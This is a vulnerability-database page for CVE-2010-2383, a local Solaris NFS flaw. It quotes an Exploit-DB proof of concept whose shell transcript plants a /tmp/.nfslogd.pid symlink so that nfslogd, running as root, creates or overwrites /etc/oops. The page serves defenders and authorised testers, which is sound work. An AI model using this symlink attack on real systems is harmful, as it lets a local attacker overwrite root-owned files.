CVE-2010-2383

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Published 2010-07-13 · Modified 2026-04-29

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CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

4.2

Description

Unspecified vulnerability in Oracle Solaris 8, 9, and 10, and OpenSolaris, allows local users to affect confidentiality and integrity, related to NFS.

Predictions

Exploit likelihood

20%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-34313 local solaris verified text · 1 KB

Frank Stuart · 2010-07-13

Oracle Solaris - 'nfslogd' Insecure Temporary File Creation

text exploit Source: Exploit-DB

source: https://www.securityfocus.com/bid/41637/info

Oracle Solaris is prone to an insecure temporary file creation vulnerability.

A local attacker can exploit this issue to overwrite arbitrary files with the privileges of the affected process. This will likely result in denial-of-service conditions, other attacks may also be possible.

This vulnerability affects the following supported versions:
8, 9, 10, OpenSolaris 

nnDon't Panic! # ls -dl /etc/oops
/etc/oops: No such file or directory
Don't Panic! # ls -dl /tmp/.nfslogd.pid
lrwxrwxrwx   1 nobody   nobody         9 Dec 29 21:24 /tmp/.nfslogd.pid
-> /etc/oops
Don't Panic! # id
uid=0(root) gid=0(root)
Don't Panic! # /usr/lib/nfs/nfslogd
Don't Panic! # ls -dl /etc/oops
-rw-------   1 root     root           4 Dec 29 21:25 /etc/oops

References

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.